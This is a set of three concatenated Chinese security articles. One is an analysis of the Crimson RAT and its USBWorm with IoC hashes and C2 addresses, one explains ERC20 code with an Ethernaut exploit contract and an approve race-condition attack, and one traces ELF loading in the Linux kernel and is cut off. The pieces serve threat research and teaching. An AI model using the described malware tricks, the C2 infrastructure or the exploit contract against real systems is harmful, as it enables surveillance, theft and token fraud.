* 窃取保存在浏览器中的密码
* 感染可移动媒体并在系统中传播
在我们的分析过程中，我们发现了一个.NET文件，该文件被我们的产品标识为Crimson
RAT，但仔细观察后发现它与众不同：攻击者使用服务器端植入来管理客户端组件。
我们发现了两个不同的服务器版本，一个是我们命名为“
A”的版本，分别于2017年，2018年和2019年编译，并包括用于安装USBWorm组件并在远程计算机上执行命令的功能。我们命名为“
B”的版本在2018年和2019年底进行了编译。两个版本的存在确认该软件仍在开发中，APT小组正在努力对其进行增强。
通过分析.NET二进制文件，我们能够建立工作环境并与以前在受害者计算机上检测到的样本进行通信。
### 深红服务器版本“ A”
#### 主面板
第一个窗口是主面板，它提供了受感染机器的列表，并显示有关受害者系统的基本信息。
[
使用远程IP地址作为输入从合法网站检索地理位置信息。服务器使用的URL是：<http://ip-api.com/xml/>
顶部有一个工具栏，可用于管理服务器或在选定的漫游器上启动某些操作。在底部，有一个输出控制台，其中包含服务器在后台执行的操作的列表。例如，它将显示有关已接收和已发送命令的信息。
服务器使用在名为“设置”的类中指定的嵌入式配置。
[
该类包含每个恶意软件组件使用的TCP端口值，默认文件名和安装路径。该服务器不包含用于构建其他组件的任何功能。它们需要手动放置在特定的预定义文件夹中。例如，根据上图显示的配置，“
msclient”必须放置在“.\ tmps \ rfaiwaus.exe”中。
这使我们得出结论，结果服务器文件是由另一个构建器生成的，该构建器创建了可执行文件，目录以及应用程序使用的其他文件。
#### 机器人面板
主要功能可从“机器人面板”访问，该界面带有十二个选项卡，可用于管理远程系统和收集信息。
**更新模块**
第一个选项卡用于检查客户端配置，上载Crimson组件并在远程系统上执行它们。
[
Crimson框架由七个客户端组件组成：
**Thin Client**
->用于识别受害者的RAT的小版本。“瘦”客户是最常见的一种，通常在分发透明部落的感染过程中将其丢弃，并且最常见于OSINT资源。它包含数量有限的功能，通常可用于：
* 收集有关受感染系统的信息
* 收集截图
* 管理远程文件系统
* 下载和上传文件
* 获取过程清单
* 杀死进程
* 执行文件
**Main Client** ->功能齐全的RAT。它可以处理所有“瘦客户”功能，但也可以用于：
* 安装其他恶意软件组件
* 捕获网络摄像头图像
* 使用电脑麦克风进行窃听
* 向受害者发送消息
* 用COMSPEC执行命令并接收输出。
**USB驱动程序** -> USB模块组件，用于从连接到受感染系统的可移动驱动器中窃取文件。
**USB蠕虫** ->这是USBWorm组件，用于从可移动驱动器中窃取文件，通过感染可移动媒体在整个系统中传播，以及从远程Crimson服务器下载并执行“
Thin Client”组件。
**Pass Logger-** >凭证窃取程序，用于窃取存储在Chrome，Firefox和Opera浏览器中的凭证。
**KeyLogger-** >这是用于记录击键的简单恶意软件。
**Remover**
->这无法使用“更新模块选项卡”将其删除，但可以使用“删除用户”按钮将其自动上传到受感染的计算机。不幸的是，我们没有获得该组件，也无法提供其描述。
有趣的是，透明部落试图通过配置服务器来阻止某些供应商的安全工具，以防止在使用卡巴斯基产品保护的系统上安装某些恶意软件组件，特别是“
USB驱动程序”和“密码记录器”。它们还阻止在受ESET保护的系统上安装“ Pass Logger”。
[
**防止在受卡巴斯基产品保护的系统上安装某些组件的代码段**
**文件管理器和自动下载选项卡**
文件管理器使攻击者可以浏览远程文件系统、执行程序、下载、上传和删除文件。
[
**文件管理器选项卡**
大多数按钮是不言自明的。最有趣的是“
USB驱动器”和“删除USB”，它们用于访问USB驱动程序和USB蠕虫组件以及“自动文件下载”功能所窃取的数据。此功能将打开另一个窗口，也可以通过倒数第二个选项卡进行访问。它允许攻击者将僵尸程序配置为搜索文件，过滤结果并上传多个文件。
[
**自动下载标签**
[**屏幕监控选项卡**
|
[**网络摄像头监控选项卡**
---|---
|
**屏幕和网络摄像头监控选项卡**
这些选项卡用于管理两个简单而强大的功能。第一个设计用于监视远程屏幕并检查用户在其系统上正在做什么。第二个可用于监视远程网络摄像头并执行视频监视。攻击者可以检索单个屏幕截图，也可以启动一个循环，迫使机器人将该屏幕截图连续发送到服务器，从而生成实时的实时流。攻击者还可以将RAT组件配置为在远程系统上记录图像。
**其他标签**
其他选项卡用于管理以下功能：
* 音频监视：恶意软件使用NAudio库与麦克风进行交互并管理音频流。该库存储在服务器端，并使用特殊命令将其推送到受害者的计算机上。
* 发送消息：攻击者可以向受害者发送消息。机器人将使用标准消息框显示消息。
* 键盘记录器：收集键盘数据。日志包括受害者使用的进程名称和击键。攻击者可以保存数据或清除远程缓存。
* 密码记录器：恶意软件包括一个功能窃取浏览器证书。盗窃由枚举保存在各种浏览器中的凭据的特定组件执行。对于每个条目，它保存网站URL，用户名和密码。
* 进程管理器：攻击者可以获得特定进程的列表，并使用特定的按钮将其终止。
* 命令执行：该选项卡允许攻击者在远程计算机上执行任意命令。
### **深红色服务器版本“ B”**
另一个版本与先前的版本非常相似。最明显的是，在此“ B”版本中，图形用户界面是不同的。
[
**主工具栏 版本B**
Update Bot选项卡中缺少“ Update USB Worm”，这意味着这些版本中不提供USB Worm功能。
[
**更新模块选项卡-版本B**
该版本不包括阻止在使用卡巴斯基产品保护的系统上安装某些组件的检查，并且缺少“命令执行”选项卡。在同一位置，我们找到另一个选项卡，用于保存有关受感染机器的注释。
[
**笔记**
## USB蠕虫
去年1月，我们开始调查Transparent Tribe发起的一项持续活动，以分发Crimson恶意软件。攻击始于恶意的Microsoft
Office文档，这些文档是通过鱼叉式网络钓鱼电子邮件发送给受害者的。
[
**诱捕印度实体的诱饵文件**
这些文档通常嵌入了恶意VBA代码，有时还会使用密码进行保护，该文档配置为删除包含恶意有效负载的编码ZIP文件。
[
**带有有效载荷编码的用户表单**
宏将ZIP文件拖放到在％ALLUSERPROFILE％下创建的新目录中，并在同一位置提取存档内容。目录名称可以不同，具体取决于示例：
* ％ALLUSERSPROFILE％\ Media-List \ tbvrarthsa.zip
* ％ALLUSERSPROFILE％\ Media-List \ tbvrarthsa.exe
[
**VBA代码段**
可执行文件是Crimson的“瘦客户端”，攻击者可以使用它来获取有关受感染机器的基本信息，收集屏幕截图，操纵文件系统以及下载或上传任意文件。
在分析过程中，我们注意到一个与Crimson
C2服务器连接的有趣示例。该示例与多次检测有关，所有这些检测均具有不同的文件名，并且其中大多数是从可移动设备生成的。
观察到的文件路径名称组合之一是'C：\ ProgramData \ Dacr \
macrse.exe'，它也在Crimson“主客户端”示例中进行了配置，并用于在调用 _usbwrm_ 命令时保存从C2接收的有效负载。
[
**USBWorm文件构建功能**
我们得出的结论是，此示例是Proofpoint在分析恶意软件时提到的USBWorm组件。
根据先前的研究，我们知道该RAT能够部署一个模块来感染USB设备，但是据我们所知，它从未公开发表过。
### USB蠕虫说明
我们的分析表明，USBWorm不仅仅是USB感染器。实际上，攻击者可以使用它来：
* 下载并执行深红色的“瘦客户机”
* 使用USBWorm本身的副本感染可移动设备
* 从可移动设备（例如USB Stealer）窃取感兴趣的文件
默认情况下，该程序充当下载程序，感染程序和USB窃取程序。通常，该组件是由Crimson“主客户端”安装的，并且在启动时会检查其执行路径是否为嵌入式配置中指定的执行路径，以及系统是否已感染了Crimson客户端组件。如果满足这些条件，它将开始监视可移动媒体，并且对于每种可移动媒体，恶意软件都将尝试感染设备并窃取感兴趣的文件。
感染过程将列出所有目录。然后，对于每个目录，它使用相同的目录名称在驱动器根目录中创建其自身的副本，并将目录属性更改为“隐藏”。这将导致所有实际目录都被隐藏，并使用相同目录名替换为恶意软件的副本。
此外，USBWorm使用模仿Windows目录的图标，在试图访问目录时诱使用户执行恶意软件。
[
**USBWorm图标**
这个简单的技巧在默认的Microsoft
Windows安装中非常有效，在默认安装中，文件扩展名是隐藏的，隐藏的文件是不可见的。受害者每次尝试访问目录时都会执行蠕虫。此外，该恶意软件不会删除真实目录，并会在启动时执行“
explorer.exe”，并提供隐藏目录路径作为参数。该命令将打开用户期望的资源管理器窗口。
[**使用默认Windows设置查看受感染的可移动媒体**
|
[**具有可见隐藏文件和文件扩展名的受感染可移动媒体的视图**
---|---
|
数据盗窃过程列出了设备上存储的所有文件，并复制了扩展名与预定义列表匹配的文件：
感兴趣的文件扩展名：.pdf，.doc，.docx，.xls，.xlsx，.ppt，.pptx，.pps，.ppsx，.txt
如果感兴趣的文件，即文件扩展名在预定义的列表中，则该过程将检查是否已盗取了具有相同名称的文件。该恶意软件的文本文件包含被盗文件的列表，该文件以嵌入式配置中指定的名称存储在恶意软件目录中。
当然，这种方法有点麻烦，因为如果蠕虫找到两个具有相同名称的不同文件，它将仅窃取第一个文件。无论如何，如果感兴趣的文件不在被盗文件列表中，则文件将从USB复制到通常名为“
data”或“ udata”的本地目录中，尽管名称可能有所不同。
如果蠕虫是从可移动媒体执行的，则行为会有所不同。在这种情况下，它将检查系统上是否正在运行“瘦客户机”或“主客户机”。如果系统未被感染，它将连接到远程Crimson
Server，并尝试使用特定的“ USBW”命令下载并执行“ Thin Client”组件。
[
**用于构建USBW请求的代码段**
持久性由程序关闭时调用的方法来保证。它检查恶意软件目录是否如嵌入式配置中所指定的那样存在，然后在其中复制恶意软件可执行文件。它还会在“ HKCU \
SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run”下创建一个注册表项，以自动执行该蠕虫。
### **USB蠕虫分布**
在调查过程中，我们发现了大约200个与Transparent Tribe
Crimson组件相关的样本。我们使用卡巴斯基安全网络（KSN）收集了有关受害者的一些统计信息。
考虑到在2019年6月至2020年6月之间检测到的所有组成部分，我们发现分布在27个国家的1000多名不同的受害者。
[
**深红色分布图**
大多数检测都与USB Worm组件有关。在大多数国家/地区，事件数量很少。
[
**深红色检测– USBWorm与其他组件**
如果我们检查受其他客户端组件影响的受害者，则可以找到真正的目标。
[
**从2019年6月到2020年6月，排名前五的受感染国家-不包括USBWorm**
该图包括了最大数量的独立受害者，它显示了透明部落在2019年下半年一直非常关注阿富汗，然后在2020年开始再次关注印度用户。
我们可以推测，在其他国家/地区发现的东西可能与与主要目标有关的实体（例如使馆人员）有关。
## 结论
透明部落持续表现出对多个目标的攻击力。在过去的十二个月中，我们观察到其针对军事和外交目标的广泛运动。该组织继续投资于RAT
Crimson，以开展情报活动并监视敏感目标。我们预计该小组在不久的将来将有更进一步的活动，为此我们将继续监视。
## IoC
以下IOC列表不完整。如果您想了解有关此处讨论的APT的更多信息以及完整的IOC列表，且Kaspersky Threat Intelligence
Reports的客户可以使用YARA规则。联系人：[[email protected]](mailto:[email protected])
5158C5C17862225A86C8A4F36F054AE2 – Excel document – NHQ_Notice_File.xls
D2C407C07CB5DC103CD112804455C0DE – Zip archive – tbvrarthsa.zip
76CA942050A9AA7E676A8D553AEB1F37 – Zip archive – ulhtagnias.zip
08745568FE3BC42564A9FABD2A9D189F – Crimson Server Version “A”
03DCD4A7B5FC1BAEE75F9421DC8D876F – Crimson Server Version “B”
075A74BA1D3A5A693EE5E3DD931E1B56 – Crimson Keylogger
1CD5C260ED50F402646F88C1414ADB16 – Crimson Keylogger
CAC1FFC1A967CD428859BB8BE2E73C22 – Crimson Thin Client
E7B32B1145EC9E2D55FDB1113F7EEE87 – Crimson Thin Client
F5375CBC0E6E8BF10E1B8012E943FED5 – Crimson Main Client
4B733E7A78EBD2F7E5306F39704A86FD – Crimson Main Client
140D0169E302F5B5FB4BB3633D09B48F – Crimson USB Driver
9DD4A62FE9513E925EF6B6D795B85806 – Crimson USB Driver
1ED98F70F618097B06E6714269E2A76F – Crimson USB Worm
F219B1CDE498F0A02315F69587960A18 – Crimson USB Worm
64.188.25.206 – Crimson C2 173.212.192.229 – Crimson C2 45.77.246.69 – Crimson
C2 newsbizupdates.net – Crimson C2 173.249.22.30 – Crimson C2
uronlinestores.net – Crimson C2
* * * | 社区文章 |
### 一、前言部分
最近研究了许多CVE文章，发现其内容均涉及到某些团队或者个人搭建的私人以太坊代币合约。而在研读他们合约详细内容的时候，我发现巨大多数代币系统均是在ERC20的基础上搭建而成的。所以能够对ERC20的内容有深刻的理解能够帮助我们更好的去研究代币的安全性。在本文中，我们就要对ERC20的关键代码进行详细的个人解读，之后我们会针对部分函数结合区块链的特性进行安全解读。
### 二、ERC20分析
#### 1 ERC-20概念
在详细分析ERC20代码之前，我们先向新人普及一下什么是ERC20 。
在2015年11月份，ERC20标准被区块链行业内推出。写过代码的同志都了解，程序一旦写完，它们就会按照既定的规则执行，在没有外界干扰的情况下，代码执行多少次都会得到同样的结果。而在一个团队中，每个人在进行工作之前都会被Boss拉过去提前召开一些会议。这些会议的目的就是制定某些标准，令所有参与工作的员工能够按照一定规则进行工作。以达到忙中有序的目的。
接触过数字货币的人都应该知道，以太坊是一个分布式的智能合约平台，可以分发代币(Token)。而ERC-20就是这些代币的统一规则，表现出一种通用的和可预测的方式。
简单地说，任何 ERC-20
代币都能立即兼容以太坊钱包，由于交易所已经知道这些代币是如何操作的，它们可以很容易地整合这些代币。这就意味着，在很多情况下，这些代币都是可以立即进行交易的。
#### 2 ERC-20代码详细分析
下面，我们对ERC20的代码进行分析。而我们知道，对于一个代币来说，其本质就类似于货币的概念。对于货币来说，我们需要它有价值，能进行转账，能被用作交换等等。而对于一个大型的货币规则市场来说，我们还需要类似于人类法律等武器，简单来说我需要能够阻止某些不安全账户对我的代币的使用。能够令代币与现实货币进行交换等等。
下面我们放上标准ERC20代币的[链接](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/9b3710465583284b8c4c5d2245749246bb2e0094/contracts/token/ERC20/ERC20.sol)。
本文中我们对[openzeppelin-solidity](https://github.com/OpenZeppelin/openzeppelin-solidity/tree/9b3710465583284b8c4c5d2245749246bb2e0094)相关的ERC20进行分析。
首先我们来看起始部分：
pragma solidity ^0.4.24;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
开始的时候，合约声明了当前版本以及引入的包。这两个包分别是一个接口包：
这里我们就要讲述一下接口的使用方式了。
对于面向对象的编程语言来说，接口的概念类似于多态的概念。在父类合约中定义一些接口，子类合约在实现其自身代码的时候需要对这些接口中定义的方法进行具体实现。而接口的书写入图所示，开始时的定义为`interface`，其内部的函数不需要有函数体。之后，我们能看到合约还定义了两个事件`Transfer与Approval`。而事件会在后面的函数执行过程中调用，用于快速打印出这些事件的记录。在我个人看来，事件类似于一个记录本，将当前执行此函数过程中使用到的变量保存并打印出来。
然而在我对`接口`进行研究的时候，我也发现了其中存在一些小的问题。我会在下一个部分给读者讲述。
代码如下：
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
让我们继续回到`ERC20.sol`中来。在对接口进行了查看后，我们大致能够猜测这些接口属于一种规范化的提醒。它为ERC20在实现各种函数的时候指明了一些方向。哪些函数是必须要有的，需要传入哪些参数等等。
之后ERC20中还引用了`import "../../math/SafeMath.sol";`。
对于我们研究安全的同学来说，这个包是十分经典的。在我们前期对整数溢出问题的分析中，我们知道这些整数就是因为不正确的使用了`+ - *
/`才导致的安全事件发生。所以现在开发人员在对以太坊开发的时候一般都会使用saveMath来进行安全计算。
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
它们分别使用了`add sub mul div`来代替加减乘除。我们那其中的一个例子来进行说明它是如何保障安全的。
下面我们来看减法：
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
我们的减法传入a，b以实现a-b的操作。首先在函数中，我们第一件事情就是来判断b是否小于等于a。因为我们传入的参数类型为`uint`。而我们知道这个类型是无负数的，遇到负数后会产生溢出。所以我们开始就杜绝了这个情况。
对于加法来说。
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
加法中的判断是存在于执行了`uint256 c = a + b;`后。
倘若溢出的情况产生，那么`c一定会 < a + b`。所以我们添加判断：`require(c >= a);`。从而杜绝溢出情况。
乘除与之类似。大家可以自行研究。
之后，我们就正式回到了主合约内部。
合约共涉及11个函数，分别用于对用户token进行“增删改查”操作。为了方便用于进行转账操作，合约起始部分定义了三个变量：
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
分别用于存储：用户余额、用户被授权额度、以及合约内的总金额（私有变量，只能内部查看）。 **这里我们需要多关注一下第二个变量**
之后，合约实现了对`_balances 与_allowed`的查看操作。
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
这里就是将接口定义的方法进行具体实现。使用view来保证只是返回某个变量的值，而不能对内部内容进行修改操作。
**然而，这个地方存在一个设计上的漏洞，我们在下面会讲到**
之后我们看一个金额查看函数。这个函数传入了两个地址，`owner与spender`，函数对`_allowed[owner][spender]`的值进行查看，告知调用者某两个地址直接的授权金额详情。
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
之后就是token中最重要的转账函数：
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
转账函数的设计需要考虑很多细节。首先就是金额是否足够。此处运用了`require(value <=
_balances[msg.sender]);`来进行判断。之后防止误操作，又对接收人地址进行了判断：`require(to !=
address(0));`。在转账过程中，合约使用了安全函数`sub、add`。并在转账成功后将事件emit出来。
而上述转账是对用户的余额（_balances）进行操作。下面我们来看针对`_allowed`变量的操作。
在实现这些函数前，我们需要向大家普及下此变量的概念。
在我刚开始看源码的时候我就产生了一个疑问——为什么合约中存在balances却还要定义一个allowed来保存金额？后来在我查阅资料以及源码分析后，我认为这个地方的变量可以理解为一种subcurrent的概念。即我可以授权别的用户使用某些钱来帮助我进行转账操作。
举个简单的例子：假设A欠B100元，而A还钱的时候不用现金去支付，而是使用了价值100元的股票。此时B就拥有了A的100元代理币的使用权。此时B就可以在支付给C100元的时候使用这个代理比，让A去代替B支付，已达到模拟真实的效果。
而这个代理金额授权的函数如下 ：
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
传入被授权人与金额后，用户的代币金额则会增加。
之后我们就拥有了别人给与的代币，我们就可以使用这个代币去进行转账操作：
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
函数传入代币方以及转账接收方（此处使用A B
C代替）。`A为from，B为调用函数的人，C为to地址。`之后我们会对from的余额进行判断，对`_allowed`代币余额进行判断。如果两者均满足要求，那么我们会进行转账操作。将from地址的余额进行扣除，并转给to地址。之后将`_allowed`中的余额更新，并记录此事件。
除了转账外，参与用户还能够增加授权代币的金额，使用`increaseAllowance`函数：
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
保证在原来金额的基础上增加或减少addedvalue。这也是为了方便用户进行更多复杂的代币操作。
对于合约的owner来说，它需要有更多的权利来对合约内的账户进行操作。例如它需要能够修改任意用户的余额。
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
上面是一个挖矿函数，这个函数保证了owner能够任意的增加account的余额，并更新合约内总币金额。由于这个函数直接对敏感信息进行操作，所以需要对此函数进行严格的权限过滤。
除了增加外，合约还能够做到删除：
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
对allowed也是如此：
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
到此，合约中的“增删改查”操作均已经交代完毕，下面我们就来看看这个流行于市面上的ERC20标准代币内存在哪些安全隐患呢？
### 三、ERC20隐含威胁分析
#### 1 接口隐患
我们知道ERC20引入了一个接口sol文件。而interface的作用就是提前规定好代币的框架。ERC20必须遵循这个框架进行部署。按照原理说，我框架是什么样子，那么我实现的函数就应该是什么样子。可是在实验中，我们发现一个奇怪的现象。
下面是我们的测试合约：
首先我们定义一个接口。
interface Building {
function isLastFloor(uint) view public returns (bool);
}
之后我们写入一个实现接口的合约：
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public returns(bool){
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
return top;
}
}
}
contract hacker{
bool ls = true;
function isLastFloor(uint) public returns (bool){
ls = !ls;
return ls;
}
function hack() public returns(bool){
Elevator t = new Elevator();
return t.goTo(4);
}
}
在`Elevator`合约中我们能够发现，我们在`goTo`函数中new了一个Building对象，而这个类则实现了我们的接口。只要我msg.sender中存在接口中定义的`isLastFloor`函数，则便可以调用成功。下面我们看一下测试：
开始时我们将函数进行注释。之后进行部署、调用方法：
发现tx不成功。
之后我们将注释解除，再部署后执行成功。
此时不知道读者有没有发现，我们在接口中定义的函数是带有view的。也就是说view函数是无法更改内部变量的值的。而我们这里重定义后的函数将view去掉了：
也就是说我们并没有按照接口的定义来进行部署。这样会改变设计者本来的想法。类似的题目有一道ctf。这是合约比赛题目`https://ethernaut.zeppelin.solutions/level/0xcd596b3e7063b068f54054beb4fb4074c87e8ad8`。就是由于view不严谨而导致的，除了view之外，我们还需要考虑constant已经pure。
#### 2 Approve方法漏洞
我们知道对于区块链系统来说，交易发出后到上链是有一点的时间周期的，需要挖矿人将交易打包发送。所以我们有可能在这个时间段内进行恶意攻击。
下面我们看攻击流程：
首先，我们假设参与方有A，B。
1 A授权B能够进行转账N个subcurrent（A调用prove函数来授权B），并传入参数N。
2 在过了一段时间后，A决定将N更改为M。所以此时B就能够转N个数量的钱来付款。
3
B注意到A将金额从N改变到M。此时B就可以进行作恶操作，他完全可以在交易打包前（新设置生效前）将N个金额花费出去，然后等待新交易打包成功后，B就更新了自己的M个代币。
4 此时B就拥有了N+M个代币转账能力。
5 所以B在A意识到问题之前，就可以调用`transferFrom`函数，多花费一份价值N个代币的钱。
更多的分析我们可以参照英文文章：`https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit#`。
### 四、参考资料
* <https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit#>
* <https://github.com/OpenZeppelin/openzeppelin-solidity/blob/9b3710465583284b8c4c5d2245749246bb2e0094/contracts/token/ERC20/ERC20.sol>
* <https://www.jianshu.com/p/a5158fbfaeb9>
* <https://www.jianshu.com/p/a3a59c651cc2`>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# Linux下动态链接流程简要分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在CTF
PWN中对于Linux底层的考察是很多的，而应用程序如何进行动态链接对于新手来说算是一个小考验，本篇文章主要记录Linux下动态链接的过程以及CTF中关于动态链接的注意点，还有Glibc版本不兼容的坑
## 内核加载ELF
我们都知道应用程序要从C语言代码变成机器可以直接执行的代码要经过编译链接的步骤。在链接中有两种方式，一种是静态链接，一种是动态链接。
* 1.静态链接指的就是程序在链接的过程中，将需要用到的库文件的二进制代码拷贝到程序二进制文件的映像中。
* 2.动态链接指的就是程序在链接的时候并不把库函数链接进程序的映像而是将库函数的映像一起交给用户，用户在运行的时候使用一个叫解释器的东西形如：ld.linux.so的文件进行动态的加载库函数
Linux下编译链接过程：
在Linux中，启动和加载ELF文件必须在内核中完成，而动态链接在用户空间（glibc），所以我们第一步就是看Linux内核空间如何加载ELF
### 可执行文件类型的注册机制
内核对所支持的每种可执行的程序类型都有个struct linux_binfmt的结构体
/*
* This structure defines the functions that are used to load the binary formats that
* linux accepts.
*/
struct linux_binfmt {
struct list_head lh;
struct module *module;
int (*load_binary)(struct linux_binprm *);
int (*load_shlib)(struct file *);
int (*core_dump)(struct coredump_params *cprm);
unsigned long min_coredump; /* minimal dump size */
};
在上面的代码中我们可以看到Linux内核提供了3种方法来加载和执行可执行程序
函数 | 描述
---|---
load_binary | 通过读存放在可执行文件中的信息为当前进程建立一个新的执行环境
load_shlib | 用于动态的把一个共享库捆绑到一个已经在运行的进程, 这是由uselib()系统调用激活的
core_dump | 在名为core的文件中, 存放当前进程的执行上下文. 这个文件通常是在进程接收到一个缺省操作为”dump”的信号时被创建的,
其格式取决于被执行程序的可执行类型
要支持ELF文件的运行，则必须向内核登记注册elf_format这个linux_binfmt类型的数据结构
static struct linux_binfmt elf_format = {
.module = THIS_MODULE,
.load_binary = load_elf_binary,
.load_shlib = load_elf_library,
.core_dump = elf_core_dump,
.min_coredump = ELF_EXEC_PAGESIZE,
.hasvdso = 1
};
> 结构体名称前加小数点是一种对结构体初始化的方法，还有一些别的初始化方法，但是在内核中广泛使用的是这种方法
内核提供两个函数来完成这个功能，一个注册，一个注销，即：
int register_binfmt(struct linux_binfmt * fmt)
int unregister_binfmt(struct linux_binfmt * fmt)
当需要运行一个程序时，则扫描这个队列，依次调用各个数据结构所提供的load处理程序来进行加载工作，ELF中加载程序即为load_elf_binary，内核中已经注册的可运行文件结构linux_binfmt会让其所属的加载程序load_binary逐一前来认领需要运行的程序binary，如果某个格式的处理程序发现相符后，便执行该格式映像的装入和启动.
### load_elf_binary函数
load_elf_binary函数处理的流程主要有以下几步：
* 填充并且检查目标程序ELF头部
* load_elf_phdrs加载目标程序的程序头表
* 如果需要动态链接, 则寻找和处理解释器段
* 检查并读取解释器的程序表头
* 装入目标程序的段segment
* create_elf_tables填写目标文件的参数环境变量等必要信息
* start_kernel宏准备进入新的程序入口
#### 填充并且检查目标程序ELF头部
struct pt_regs *regs = current_pt_regs();
struct {
struct elfhdr elf_ex;
struct elfhdr interp_elf_ex;
} *loc;
struct arch_elf_state arch_state = INIT_ARCH_ELF_STATE;
loc = kmalloc(sizeof(*loc), GFP_KERNEL);
if (!loc) {
retval = -ENOMEM;
goto out_ret;
}
/* Get the exec-header
使用映像文件的前128个字节对bprm->buf进行了填充 */
loc->elf_ex = *((struct elfhdr *)bprm->buf);
retval = -ENOEXEC;
/* First of all, some simple consistency checks
比较文件头的前四个字节
。*/
if (memcmp(loc->elf_ex.e_ident, ELFMAG, SELFMAG) != 0)
goto out;
/* 还要看映像的类型是否ET_EXEC和ET_DYN之一；前者表示可执行映像，后者表示共享库 */
if (loc->elf_ex.e_type != ET_EXEC && loc->elf_ex.e_type != ET_DYN)
goto out;
#### 通过load_elf_phdrs加载目标程序的程序头表
elf_phdata = load_elf_phdrs(&loc->elf_ex, bprm->file);
if (!elf_phdata)
goto out;
/**
* load_elf_phdrs() - load ELF program headers
* @elf_ex: ELF header of the binary whose program headers should be loaded
* @elf_file: the opened ELF binary file
*
* Loads ELF program headers from the binary file elf_file, which has the ELF
* header pointed to by elf_ex, into a newly allocated array. The caller is
* responsible for freeing the allocated data. Returns an ERR_PTR upon failure.
*/
static struct elf_phdr *load_elf_phdrs(struct elfhdr *elf_ex,
struct file *elf_file)
{
struct elf_phdr *elf_phdata = NULL;
int retval, size, err = -1;
/*
* If the size of this structure has changed, then punt, since
* we will be doing the wrong thing.
*/
if (elf_ex->e_phentsize != sizeof(struct elf_phdr))
goto out;
/* Sanity check the number of program headers... */
if (elf_ex->e_phnum < 1 ||
elf_ex->e_phnum > 65536U / sizeof(struct elf_phdr))
goto out;
/* ...and their total size. */
